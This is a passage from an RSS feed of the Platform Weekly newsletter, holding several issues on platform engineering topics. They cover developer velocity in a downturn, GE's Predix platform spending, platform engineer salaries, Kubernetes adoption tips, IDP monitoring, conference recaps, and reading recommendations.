employees. They halt investment in improving productivity and workflows. These teams need a motivating message: \"we need to unite and beat this crisis together.\" But this call for unified strength never comes.\nTeams that take this approach are doomed to fail. It\u2019s been proven that teams at the top quartile of developer velocity outperform other orgs 4-5X in terms of revenue growth. Meaning if you innovate fast, you grow fast in revenue. You beat the crisis. It's simple.\nWhen I talk to managers, I always have the same playbook:\n\n\nCommunicate clearly and appeal to the fighting spirit of your people. You have no idea how much everybody is ready to chip in when they have to save their jobs.\n\nYes, halt new hires, everybody understands where you\u2019re coming from.\n\nDouble down on improving developer velocity. To do this for once follow Gartner and jump on the Platform Engineering train. It\u2019s one of their top strategic technology trends for 2023 for a reason.\n\nInvest in tools to keep maintenance low, de-risk implementation and get things into place fast. If it takes you 6 months to get something in place you might be dead by the time it\u2019s up and running.\nIt\u2019s a tough call that can cost a lot if you get it wrong. Good luck in the next few weeks. Managing the good times is easy. War-time management is what separates you from the pack.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Platform Engineering is featured in Gartner's TOP 10 Strategic Technology Trends for 2023. Ad Platforma!\n\ud83e\udd50 I bet AWS users are gonna love this. This DB service visualization comes courtesy of Forrest Brazeal.\n\ud83e\udd50 Platform as a Product mindset is essential for a successful platform roll out. Check out my latest article for a deep dive into this trending topic.\n\ud83e\udd50 The developer toolbox \ud83e\uddf0 has changed beyond recognition over the last two decades. In this article, Roni Dover explores the Modern Developer Stack. You might find some useful tools \ud83d\udd28 as well.\n\ud83e\udd50 Cool new podcast alert! \ud83c\udf99\ufe0f Check out the Always an Engineer Podcast to tackle the tough questions all software engineers face.\n\ud83e\udd50 The next level of chaos engineering is here! \ud83d\udd2b Try killing pods inside Kubernetes cluster by shooting them in Doom.\nLike what you've read? Share it with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  How not to burn $7B on your platform\n  https://platformweekly.com/issues/how-not-to-burn-7b-on-your-platform\n  https://platformweekly.com/issues/how-not-to-burn-7b-on-your-platform\n  \n  \nHave $7B to burn?\nIf you answered no, keep reading.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nHow to not burn $7B on your platform\nGE burned $7B on their platform. Want to avoid a similar fate? In his latest article for the Platform Engineering community, Steve Pereira broke down what we can learn from this cautionary tale.\nTLDR; having good intentions, a compelling vision, and vast resources aren\u2019t enough to deliver success.\nGE's platform, Predix, promised a lot: easy IoT deployments, condition-based monitoring, and a uniform platform for streaming and batch analytics processing.\nGE leaned into the project hard. (They even built their own data centers to own the e2e value chain.) But there was a big problem: building the data center was only one of the project's requirements. They still needed a ton of other stuff: on-demand infrastructure pipelines, application scaffolds, templates, and a host of hardware, networking, etc.\nIt was a lot, especially for a company rooted solidly in the brick-and-mortar world. By 2020, the company shelled out more than $7B on consultants, marketing, partners, and more. On top of that, it was bad timing: they also had missed their revenue projections by. around $14B.\nWhat went wrong? In short, the vision and the goal of the platform didn\u2019t align with GE itself. You see, you shouldn\u2019t treat your platform like a separate entity from the rest of the business because it isn\u2019t. At GE, they wound up with a big conflict between platforming best practices and the company\u2019s traditional lean manufacturing style.\nGE also didn\u2019t invest enough in its internal capabilities and organizational infrastructure. When you\u2019re building a platform, you\u2019re building something that needs to be continuously maintained and continuously improved - for as long as you\u2019ll be in business.\nSo how can you avoid this fate? An outcome mapping process can define your vision clearly for everyone involved. This helps avoid teams becoming misaligned on what the platform is actually for. Value stream mapping can also help. You look at how everything is happening in the organization today and figure how you\u2019ll accomplish all of your different goals and work more effectively. These methods have three core components in common:\nKeep these concepts in mind, and you can avoid burning $7B on your platform.\nWant to dive deeper? Check out the full article here.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Getting into Platform Engineering or DevOps? Check out this video for a solid roadmap of need-to-have skills.\n\ud83e\udd50 Here's a Kubernetes Podcast you don't want to miss. This episode with Betty Junod explores the rise of platform engineering and internal developer platforms. You'll thank me later \ud83d\ude09\n\ud83e\udd50 Don't know how to measure your product-led growth? Andrew Korbel and Sid Sapru share some handy metrics to get you on track.\n\ud83e\udd50 Charity Majors says the future of Ops is Platform Engineering. Dive into her article and find out why.\n\ud83e\udd50 This week no memes could conquer this song, sorry not sorry...\ud83c\udfb6\ud83c\udfb6\ud83c\udfb6\n\ud83c\udfb6 Liked what you read here? Share it with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  DAPR, AI & Deutschland\n  https://platformweekly.com/issues/dapr-ai-deutschland\n  https://platformweekly.com/issues/dapr-ai-deutschland\n  \n  \nLast night, we had our second ever in-person platform engineering roundtable in Germany. If you\u2019ve never been to one of our roundtables. You need to.\nIt\u2019s a small collection of platform engineering nerds (like me) sitting around and discussing their experience and thoughts on platform engineering.\nSometimes it\u2019s a few leaders sharing war stories in a tiny, cramped room. Sometimes like last night (thanks to codecentric AG who helped us organise it), it's an awesome venue, with great food, and dozens of experts of every walk of life - 20 year veterans, first time platform engineers, consultancy CEOs, and more debating every intricacy of platform engineering for hours.\nSo, what did 40 platform engineering leaders have to say in Munich last night?\n\n\nAI platform engineering is coming here. From code, and infra generation to AI-enabled infra orchestration. It\u2019s clear AI is going to be a huge part of PE. But it\u2019s also clear - that a lot of it just ain\u2019t enterprise ready yet *cough TF file generation *cough.\n\nManuel Zapf's recent article on DAPR and the shift from cloud-native to platform-native is the talk of the town (Well, one room of the town). DAPR is another great example of tooling that embodies everything that is great about platform engineering.\n\nPlatform engineering is HOT in Germany. It\u2019s been a long time since Europe was particularly famous for being pioneering in technology. But the conversations I\u2019ve been having with German platform engineers are extremely cool. The energy is there. And it\u2019s the same across all of Europe, we just had an awesome Meetup in Poland, and later this year is PlatformCon Paris.\n2025 is clearly the year of in-person in the Platform Engineering community.\nYesterday was just the first of many.\nLet\u2019s do this.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Platform engineers vs. DevOps engineers: Who makes more?\n  https://platformweekly.com/issues/platform-engineers-vs-devops-engineers-who-makes-more\n  https://platformweekly.com/issues/platform-engineers-vs-devops-engineers-who-makes-more\n  \n  \nWant a salary bump? Try platform engineering.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nPlatform engineers vs. DevOps engineers: Who makes more?\nPlatform engineering is getting more hype... and more money \ud83d\udcb8 in the pockets of people who make the switch from DevOps.\nA few months ago, we ran a small survey in the Platform Engineering Community. We focused on the United States, Canada, and Europe.\nIn the survey, we asked some questions to better understand the current state of platform engineering: what tech folks are working with, the average salary, and if the job is in-person or fully remote.\nHere\u2019s what we found:\n1. Want to get the big bucks? \ud83d\udcb0 Be a platform engineer in North America.\nAcross the board, platform engineers earn more on average than their DevOps engineers peers. The gap is almost 9,4% in North America and doubles that \u2013 19,4% \u2013 in Europe.\nWhy is this the case? Companies are realizing that building a platform adds more value to their bottom line. Employees with the right experience (and product mindset) are hard to find, harder than your typical DevOps engineer. \ud83d\ude09\n2. Kubernetes and Infrastructure as Code (IaC) lead the pack in the most used technologies for platformers.\nThis shouldn\u2019t come as a huge surprise. Platforms are normally built as a layer on top of clusters and infrastructure, streamlining both configuration management and infrastructure orchestration.\n3. In-office is out, flexible work is in. \ud83c\udf89\nGood news for folks who like taking meetings in sweatpants: platform engineers are at the forefront of the remote work revolution! In North America, platform engineers are overwhelmingly remote. In Europe, it\u2019s still pretty flexible with a balanced split between fully remote and hybrid options.\nHowever you slice it, 100% in-office is 100% dead.\nWant to get in on the next big thing? Check out our YouTube channel to learn the best platform engineering experts like Cloud Strategy Author Gregor Hohpe, Team Topologies Co-Author Manuel Pais, OpenCredo CEO Nicki Watt, and Puppet Field CTO Nigel Kersten \ud83d\udc47\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Software scalability is one of the components improving developer velocity. Jesse Chen shares his thoughts.\n\ud83e\udd50 Interesting read from Jay Cuthrell about DevEx, DevOps, platform engineering, and the importance of a cloud platform foundation with developer goal landing zones. Check it out.\n\ud83e\udd50 DevOps is Dead \ud83d\udc80 Long live platform engineering! Don't agree? Aeris Stewart explains it all in their latest article for The New Stack.\n\ud83e\udd50 The memes are back! I know you missed them \ud83d\ude09\nThat's a wrap on #8. They say sharing is caring, so share the platform care with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nUntil next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Is AI platform engineering the future?\n  https://platformweekly.com/issues/is-ai-platform-engineering-the-future\n  https://platformweekly.com/issues/is-ai-platform-engineering-the-future\n  \n  \nHey there! Welcome to Platform Weekly, your beat of the platform engineering drum. This week we\u2019re talking about the other tech hype train. AI.\nIs AI platform engineering the future?\nA lot came from PlatformCon 2024 this year. We launched the first official platform engineering course (with some pretty cool surprises coming soon). We also had the first-ever PlatormCon live day. But one thing that we haven\u2019t discussed enough yet\u2026 AI!\nNow to say that we haven\u2019t discussed AI enough might sound ridiculous to you, but there is one key detail I think is important. This year proved without a doubt that the topics discussed at PlatformCon - set the tone for the next year of Platform Engineering.\n\n\nThe best practices in Platform as a Product theorized in 2022, became the standard in talks in 2023\n\nThe platform engineering reference architectures shared in 2023 influenced almost 20% of all talks in 2024\nThere is no reason the ideas discussed this year should be any different in setting the stage for the future.\nSo, what was shared about AI?\n\n\nHow platform engineering teams can augment DevOps with AI by Manjunath Bhat, Research VP, Software Engineering Practice, Gartner broke down how AI tools, technologies, and techniques can boost DevOps to deliver better results\n\nPlatform engineering and AI - how they impact each other brought together three AI experts to explore how AI and Platform Engineering intersect and complement each other\n\nEngineering Cloud Native AI Platform by Yuan Tang, Principal Engineer, Red Hat, cut straight to the core and explores best practices and challenges in building large, efficient, scalable, and reliable AI/ML platforms using cloud-native technologies like Kubernetes\nWant more learning? Join me soon for the Platform Engineering Fundamentals course. It\u2019s filling up!\nQuick bites\nArticleEvent of the week:\n\n\nBalancing Simplicity and Flexibility: The Platform Engineer\u2019s Dilemma\nFrom the community:\nWant to discuss AI with other platform engineering fans? Come join the Slack!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  What Do IDPs And Gardens Have In Common?\n  https://platformweekly.com/issues/what-do-idps-and-gardens-have-in-common\n  https://platformweekly.com/issues/what-do-idps-and-gardens-have-in-common\n  \n  \n\ud83e\udd50 Hey there! It\u2019s Platform Weekly, the John Wick of cloud native newsletters. Each sequel issue is better than the last. Let's get bakin'\nAlso, want to know how your organization stacks up against platform engineering best practices? Take this 12-question Platform Maturity Survey to find out. (And, no, you don\u2019t even have to share your email to get the results.)\nWant more Platform Engineering and DevOps news, analysis, and resources? Consider signing up for a newsletter from our friends over at The New Stack. They have daily and weekly newsletter options to keep devs, engineers, and the cloud native community in-the-know.\n5 benefits of monitoring and managing your Internal Developer Platform\nColleen Green, Tanzu Labs at VMWare\nThis newsletter was adapted from this blog post.\nGardening isn't just for plants; it's for internal developer platforms too! Monitoring and managing your internal developer platform is essential to the application development and delivery process. Putting in the effort to maintain and optimize your platform, and keeping an eye on potentially disruptive changes, will keep your garden safe and pests out.\nThere are numerous benefits to building a monitoring and management system for your platform. These include:\n1\ufe0f\u20e3 Improved system performance \nBy monitoring for bottlenecks, spotting trends and identifying potential issues well before they impact performance, engineering teams can implement proactive strategies to ensure optimum availability, reliability, scalability, and response times. Further, regular maintenance such as patching and upgrading hardware and applications will also ensure greater efficiency and user experience. All of this puts organizations in a better position to reduce system disruptions, anticipate future needs and, ultimately, achieve greater efficiency and profitability.\n2\ufe0f\u20e3 Cost reduction \nOptimizing and managing an application platform properly can offer organizations various ways to cut costs. Keeping an eye on the performance and use of the platform can unveil areas for optimization, leading to enhanced resource utilization and decreased hardware and license fees. Proactively keeping tabs on the application\u2019s health can spot prospective issues quickly, saving the costly consequences of service outages and downtimes. Moreover, thorough monitoring and oversight allow IT teams to discern where resources can be redistributed to make a budget-friendly difference.\n3\ufe0f\u20e3 Scalability \nThrough monitoring, platform engineers can achieve scalability more efficiently by using data to replicate or adjust resources according to performance and capacity demands. This helps streamline the manual scaling and compliance management processes, as well as supply in-depth proficiency into application performance, resource utilization, and user experience over multiple servers and services.\n4\ufe0f\u20e3 Enhanced security \nSecurity is a main concern in platform engineering. By providing guardrails for developers through golden paths, and tracking various application activities engineers can detect any malicious or unauthorized activity, making it easier to respond quickly and mitigate the potential damage. Monitoring can also provide insights into what security measures may need to be implemented or improved. \n5\ufe0f\u20e3 Improved feedback loops \nDevelopers can keep their applications running at their best and continually monitor user engagement by leveraging feedback loops that collect usage data on performance in production. With this centralized control in hand, engineers can make modifications to their apps with speed and efficiency, and then see the results instantly. Automated alerting and notifications will also help engineers quickly detect and repair any issues that may arise.\nHere are some quick ways to start monitoring and managing your application platform for more optimal results:\n\ud83d\udd10 Secure your deployment environment \nStart by securing the server and network configuration of the application platform and make sure the system is updated with the latest security patches. You can also implement security practices such as controlling access to the platform, monitoring for suspicious activity, and staying up to date on threats and vulnerabilities.\n\ud83d\udcc8 Establish system baselines \nAfter assessing your platform\u2019s system components, establish baseline measurements of hardware and software configurations, as well as usage statistics. Next, define a baseline of acceptable performance metrics, which could include average uptime, system response times, network throughput, or any other relevant metrics. Set up a system to meet the defined baseline performance by adjusting system configurations, fine-tuning hardware, adding or removing resources, or optimizing code.\n\u23f0 Establish alerting rules \nIdentify the events that you want to trigger an alert, and determine the best way to receive them. Use the platform-specific tools available in your software to create the alerting rules. Depending on the platform, you may need to define the conditions for when the alert will be triggered (such as a threshold for a certain metric, or an event name or type). Monitor these new rules for accuracy, and adjust as needed. \n\ud83d\udd0d Monitor application performance \nWithin the application architecture, identify the components, how they are connected, and their overall flow. Monitor the application layer and capture performance metrics, such as request latency, errors, and response times. Configure the monitoring system to alert you when certain thresholds are breached.\n\u2699\ufe0f Automate processes \nTake time to explore monitoring and management automation solutions\u2013cloud-based services, open source, and enterprise-level solutions are all viable options. After finding the best tool and technology for your needs, begin setting up your monitoring and management system by configuring the monitoring agents, collecting data, storing logs, and establishing alerts. Once you have a basic system in place, review the performance of your automation periodically to ensure accurate data and efficient operation.\nLearn more by watching Michael Cot\u00e9 and Bryan Ross\u2019 PlatformCon 2023 sessions.\nShare | Tweet | Forward\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Google released a paper on how they define, measure, and manage technical debt. But if you don\u2019t want to read the whole thing, check out Abi Noda\u2019s \ud83d\udd25 recap.\n\ud83e\udd50 Did you attend PlatformCon 2023? If so, let us know what you thought about the conference. Your feedback helps us make our community events better. \ud83d\udcaa\n\ud83e\udd50 Realtor.com\u2019s Suzy Julius shared how the U.S. real estate site transformed their culture into one that embraces platform engineering. Check out her PlatformCon talk or this blog recap.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 22 Jun 2023 00:00:00 GMT\n\n\n  6 Enterprise Tips For Scaling K8s Adoption\n  https://platformweekly.com/issues/6-enterprise-tips-for-scaling-k8s-adoption\n  https://platformweekly.com/issues/6-enterprise-tips-for-scaling-k8s-adoption\n  \n  \nHey there!\nAdopting K8s can be a \ud83d\udc15. This week, I\u2019m sharing a few pointers that can help.\nLet\u2019s get bakin\u2019\n6 enterprise tips for scaling K8s adoption \nKubernetes is a powerful tool, yet many enterprises still struggle to adopt it well. A few weeks ago, EY\u2019s Turja Narayan Chaudhuri shared his tips for scaling K8s adoption more reliably with the platform engineering community. Here\u2019s the skinny:\n1\ufe0f\u20e3 Enforce standardization. Every cluster your enterprise provisions should start from the same template, script, or automation pipeline. Your developers shouldn\u2019t need to set up or operate new clusters, or deviate from approved baselines.\n2\ufe0f\u20e3 Enable self-service with a thoughtfully-designed catalog. Chaudhuri recommends featuring the most widely used tools on your self-service catalog to facilitate the highest possible level of developer autonomy. Mandating practices is a failing strategy. Instead, do user research to understand what your devs need and start by addressing those first.\n3\ufe0f\u20e3 Create a central governance team. These folks will handle management, oversight, and operation of K8s workloads, helping you better control what happens across the entire enterprise. \n4\ufe0f\u20e3 Create a documentation repo for K8s. Chaudhuri recommends going beyond general knowledge guides and addressing real-world use cases\u2014troubleshooting services, connecting to clusters from laptops, and so on.\n5\ufe0f\u20e3 Create a centralized SRE of K8s Ops team for 24/7 support. How you go about doing this and the level of service this team provides is completely up to you. However, your support team should have ownership over keeping your K8s platform running smoothly.\n6\ufe0f\u20e3 Leverage automation. This is key to most successful K8s adoptions. Your automation should facilitate easy deployment of containers and management of pods on these clusters. Chaudhuri recommends going beyond supporting the infrastructure itself and remembering the bigger picture: You want to keep users from doing things from scratch.\nWant to dive in deeper? I highly recommend checking out the full article.\n \nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The platform engineering community celebrated hitting 10k members on Slack with a cozy fireside chat. I was joined by The New Stack\u2019s Jennifer Riggins, Twilio\u2019s Asaf Erlich, and Palo Alto Network\u2019s Ramesh Nampelly. \n\ud83e\udd50 Want to break into platform engineering? The folks at Spiceworks put together this \ud83d\udd25 guide to key skills, job descriptions, and salary.\n\ud83e\udd50 Here\u2019s how Levels.fyi scaled to millions of users with Google Sheets as a backend. \n\ud83e\udd50  We got 500+ talk submissions for PlatformCon 2023! Get hyped for this year\u2019s lineup and don\u2019t forget to register.\n\ud83e\udd50 \nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nGood resources for learning about IDPs?\n\nHow do development teams working in a cloud environment test solutions in the local environment?\n\nWhat is the modern stack for internal engineering documentation?\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 16 Mar 2023 00:00:00 GMT\n\n\n  Platform calling\n  https://platformweekly.com/issues/platform-calling\n  https://platformweekly.com/issues/platform-calling\n  \n  \nI talked to literally 100s of people at KubeCon London this week. And every one was asking me \u201cI\u2019ve heard about your certification. Where can I see more?\u201d, \u201cPlatformCon is going to be awesome\u201d or most of all - \u201cHouse of Kube was f*cking epic.\u201d\nAlso - shout out to everyone who mentioned platform weekly. Love you guys!\nWe really went big at KubeCon this year, and it\u2019s incredible to see the way the community has grown over the last few years.\nIn 2024, Platform Engineering was the hype slogan vendors added to their booth to ride the train. Today? Platform engineering is a fact of life.\n\n\nMathieu talked platform engineering security to 850 people\n\nHouse of Kube, the (un)official launch party of KubeCon got 5,000 registrations!! (And over 1k partied inside)\n\nThe quality of debate at our PE executive roundtable was next level\nAt the same time, I had amazing conversations at every corner with course attendees, PlatformCon partners, and our awesome ambassadors.\nAnd while all this was happening, I helped launch what I think will be one of the biggest AI projects of the year, Canyon.\nIt\u2019s crazy to think how far we\u2019ve come since 2022. Best part? We\u2019re still just getting started.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  How to sell platform engineering to your boss\n  https://platformweekly.com/issues/how-to-sell-platform-engineering-to-your-boss\n  https://platformweekly.com/issues/how-to-sell-platform-engineering-to-your-boss\n  \n  \nHey there! This is Platform Weekly, your weekly turn of the platform engineering book \ud83d\udcd9\nHow to sell platform engineering to your boss\nOkay, so you know that platform engineering will be a game changer for your team or your organization. But how do you actually sell it to the leadership team? This is the step by step process to develop your plan, and build the Minimum Viable Platform (MVP) that will convince your boss that platform engineering matters.\nStep 1: Learn what your boss actually cares about\nAs much as we might all love platform engineering, management focus and attention and the budget and resources that come with that - are always going to revolve around whatever management's strategic priorities are (or as I like to say, what mgmt cares about).\nStep 2: Identify your platform story\nThe beautiful thing about platform engineering is that it can solve a LOT of different problems. Does your management care about developer productivity and time to market? Well, then you need to be telling a platform story that emphasizes the impact of platform engineering on exactly that.\nStep 3: Build a Minimum Viable Platform (MVP)\nThe bad news? You likely can\u2019t just send your boss one of my articles that support your platform story. They will probably need to see numbers and proof. The good news? You can easily do that yourself in 4 weeks. Build an MVP. Gather some feedback on it. Iterate and then\u2026\nStep 4: Prove value\nNow that you\u2019ve got an MVP, you can start to prove your platform story. The MVP helps you demonstrate that platform engineering will actually do what you\u2019ve said it will (it will also prove that developers will actually use this new \u201cproduct\u201d).This makes it far easier to justify the budget and focus allocation from your management team. Esp if you\u2019ve aligned the MVP program with their strategic priorities.\nIt then becomes a no brainer to expand.\nQuick bites\nArticles that blew me away: \n\n\nThe 3 Paradoxes of Cloud Native Platform Engineering\nFrom the community:\n\n\nThe community continues to grow and change. Share your thoughts.]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Top 5 memes of 2025\n  https://platformweekly.com/issues/top-5-platform-engineering-trends-of-2025\n  https://platformweekly.com/issues/top-5-platform-engineering-trends-of-2025\n  \n  \nI am extremely proud of Platform Weekly. We work hard on bringing in-depth research, best practices and ideas from the across the frontier of our industry. What do 99% of people say to me about our industries largest platform engineering newsletter?\n\u201cI love the memes\u201d\nWell\u2026 I do to do. So let\u2019s jump into the 5 memes that defined 2025 for platforms.\n\u200d]]>\n  \n  Tue, 06 Jan 2026 00:00:00 GMT\n\n\n  Full Stack? I\u2019m Calling B.S.\n  https://platformweekly.com/issues/full-stack-im-calling-b-s\n  https://platformweekly.com/issues/full-stack-im-calling-b-s\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, the platform engineering newsletter that\u2019s as electrifying as a sip of Sprite from McDonald\u2019s. Let\u2019s get bakin\u2019\nFull stack? I'm calling B.S.\nSure, \u201cfull stack\u201d might\u2019ve made sense 15 years ago. It was a way to hire someone who could do everything. But that\u2019s the thing, trying to continue doing everything in the tech world might as well be trying to have a pulse on all matter in the big bang. It simply isn\u2019t possible to expand in every direction.\nIt\u2019s like saying, \u201cOh shit, what if the server admin could also write software and also manage the databases?\u201d\nThe problem is that now there are ~10 front end frameworks that are ridiculously specialized, about as many different database solutions, and more programming languages and pro/cons/isms and techniques to each that if you\u2019re a full stack engineer and you don\u2019t expand your skills every six months to a year, you will get left behind.\nFull stack and trying to hang on to an old paradigm doesn\u2019t work anymore. Everything is too specialized. It\u2019s best to become a specialist along with it.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\u064eQuick Bites\n\n\nWhat\u2019s your take on the PaaS vs. Internal Developer Platform (IDP) debate? IMO, it all depends on context. If you\u2019re a large-scale enterprise with a brownfield setup, building an IDP is necessary to properly integrate legacy systems and maintain necessary flexibility. But if you\u2019re a small startup, a PaaS is probably sufficient.\n\n\nShould we be shifting left or shifting down? This article hits the nail on the head: \u201cOptimization begins with reducing the cognitive load on developers, and removing unnecessary obligations that distract them from innovating.\u201d\n\nFor those of y\u2019all in DevRel, this article by Daniel Bryant is a fantastic read.\n\n\n\ud83e\udd2d\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Tue, 08 Aug 2023 00:00:00 GMT\n\n\n  100 weeks of platform weekly\n  https://platformweekly.com/issues/100-weeks-of-platform-weekly\n  https://platformweekly.com/issues/100-weeks-of-platform-weekly\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly bite into the crossianty goodness that is platform engineering. We\u2019re celebrating passing 100 weeks of Platform weekly. It\u2019s crazy to think it\u2019s been almost 2 years since I was in Paris, eating croissants and thinking about starting a platform engineering newsletter. Let\u2019s see how far we\u2019ve come. \nWe\u2019re looking at the first, the greatest, and the\u2026 not so greatest.\nBTW - It\u2019s your last chance to join the upcoming Platform Engineering Fundamentals course starting on Thursday, October 10th. So if you wanna join - join quick! We\u2019ve got an awesome group together so far.I can\u2019t wait to get started.\nA lot has changed since that warm autumn day when I wrote the first Platform Weekly. Back then, platform engineering was growing for sure, but no one would expect the meteoric rise that was soon to come.\nI had a few thousand followers on Twitter then, so the first few PWs went out to a couple thousand people. Now? It\u2019s over 100,000\u2026\nA lot has changed in the last 2 years. But Platform weekly most of all. Let\u2019s take a look at our best platform weekly ever, our worst platform weekly ever, and our first platform weekly ever.\nPW1: Beating Cognitive (Over)load\nBack then PW was mostly focused on highlighting cool stuff from other people. Especially coming hot off PlatformCon 2022. Infrastructure platform engineering wasn\u2019t a developer concept yet, and the fundamental concepts of golden paths and cognitive load were still pretty blurry.\nPWZERO: Is AI platform engineering the future?\nThere are some times you write something. A social media post, article or\u2026 a newsletter and you think. \u201cYeah, this is gonna be a banger.\u201d\nInteresting content. Trendiest topic imaginable, and what do you get?\nThe worst performing platform weekly ever. \nIn the end, I am not too surprised, the trendiest topics are also the most saturated topics. And when it comes to platform engineering. There is some interesting stuff to say - but it is far from the most exciting thing in our space right now.\nI am a strong believer that the impact of a good platform engineering initiative on an organization will be massively larger than most of the trendy AI implementations atm.\nSeems like the community agrees with me.\nPWHERO: State of Platform Engineering 2024\nOur best newsletter ever was just a few weeks ago. And the second best? A week before that. With the way that platform engineering (and this newsletter) has skyrocketed in the last year, it\u2019s no surprise that almost every newsletter is our most-read one.This newsletter was sharing the surveys for the upcoming State of Platform Engineering report. You can find the surveys here:\n\n\nState of Platform Engineering 2024 Survey\n\n2024 Platform Engineer Salary Survey\nThese 3 newsletters (and the almost 100x difference in their readership) can tell us a lot about the way platform engineering has changed over the last 2 years. It\u2019s gotten bigger. More developed. More standardized. More advanced. But\u2026\nMost people are still trying to figure out exactly what\u2019s going on. And like all things in tech, that fear of missing out gets balanced out by the fear of jumping on to something that might not have the permeability you\u2019d hoped.\nWith platform engineering though? It\u2019s pretty clear to me it\u2019s here to stay. Let\u2019s just see how far it can go.\nSee you in Platform Weekly 200\ud83d\ude09]]>\n  \n  Mon, 02 Dec 2024 00:00:00 GMT\n\n\n  5 key principles of modern apps\n  https://platformweekly.com/issues/5-key-principles-of-modern-apps\n  https://platformweekly.com/issues/5-key-principles-of-modern-apps\n  \n  \nThere is a lot of fanfare about agentic development at the moment. I was interviewing an engineering leader last week about the fundamentals of modern apps and the response was pretty\u2026 interesting.\n\u201cWhy does it matter if the agent can ensure the fundamentals are followed?\u201d\nOof. In this era, when development is increasingly democratized, and developers can work faster and more easily than ever - the key principles are more important than ever.\nLast night's community webinar with Jad El-Zein, from VMware couldn\u2019t have been more timely for everything I am afraid off.\nIf we envision a simplified idea of the platform engineering goals for modern AppDev.\n\n\nImprove developer experience\n\nReduce cognitive load\n\nIncrease reliability, compliance, and safety\n\nDeliver applications faster\nThese are all things that you can help drive agentically, but at the end of the day if the humans involved aren\u2019t keeping all 4 at the heart of what they\u2019re doing. (Not just all in on #4 speed;)\nSo what does Jad propose as the key principles to ensure the right balance of these 4 goals?\n\n\nCloud-native, composable, API-first architectures: Build your apps like Lego blocks instead of one giant piece of concrete. Clear APIs let those blocks talk to each other cleanly, so you can swap, scale, or fix parts without breaking everything.\n\nDeclarative, GitOps-driven delivery and operations: Describe what you want your systems to look like in code and let automation keep them that way. Git becomes your single source of truth, so every change is tracked, reversible, and transparent.\n\nObservability and closed-loop automation: Don\u2019t just collect data. Actually understand what your system is doing and WHY. Then use that insight to automatically adjust and improve things (hopefully before people notice problems).\n\nZero trust security, compliance, and resilience by design: Assume nothing is safe. Verify everything, limit access tightly, and bake security into the system from day one instead of bolting it on later.\nAnd number 5? DUH. Platform engineering as the foundation. Build your internal platform that makes the \u201cright way\u201d the easy way for developers. The goal is to remove friction and cognitive overload so teams can focus on building great products, not fighting infrastructure.\nWhether your development is 100% human, or AI augmented humans, or 100% agentic. These principles are fundamental.\nEven more so if you don\u2019t have active thinking humans at each step of the process.\nIf anything, the faster we move, the more disciplined we need to be about architecture, delivery, observability, security, and platform design. The tools may evolve (dramatically) but the responsibility to design resilient, reliable, and dev-friendly systems still sits with us.\nJad & VMware have it spot on. Fundamentals aren\u2019t optional in an agentic world, they\u2019re what make the speed possible.]]>\n  \n  Wed, 25 Feb 2026 00:00:00 GMT\n\n\n  5 platform engineering articles you need to read this summer\n  https://platformweekly.com/issues/5-platform-engineering-articles-you-need-to-read-this-summer\n  https://platformweekly.com/issues/5-platform-engineering-articles-you-need-to-read-this-summer\n  \n  \nIt\u2019s holiday season and for many of us, that means reading. I\u2019ve already done a recommendation newsletter on books last year (should I do another?), but one thing you might not know is that our platform engineering community blog is the best it\u2019s ever been. With the articles pouring in from our ever growing list of platform engineering ambassadors, the blog is undeniable the #1 spot for platform engineering knowledge.\nHere are 5 recent articles you need to read:\n\n\nBeyond algorithms: AI & platform engineering in the healthcare sector by Marc Mangus from Red Hat breaks down how AI can reshape Healthcare IF it has the internal developer platform to help it do it\n\nFighting compliance trolls killing platform engineering by Jon Skarpeteig from Signicat on how to embrace compliance, and enable automation to break through legacy \u201ccompliance troll\u201d practices like rigid manual approvals and segregation of duties.\n\nDomain-driven, AI-augmented: The next chapter of platform engineering by Ajay Chankramath from Platformetrics on exactly how to drive and deliver on a domain driven, AI supercharged IDP\n\nHow to become a platform engineer by Sam Barlien from the Platform Engineering community which zooms in on exactly what you need to understand to be a platform engineering in actuality, not just in your LinkedIn title\n\nWhy platform engineering will eat the world by Kaspar von Gr\u00fbnberg of Humanitec and Canyon, the magnum opus of the community blog in the last year. There is no other article that defines better where we are, and where we\u2019re going\nHave your own favorite? Send it to me, and i\u2019ll feature it here!]]>\n  \n  Thu, 21 Aug 2025 00:00:00 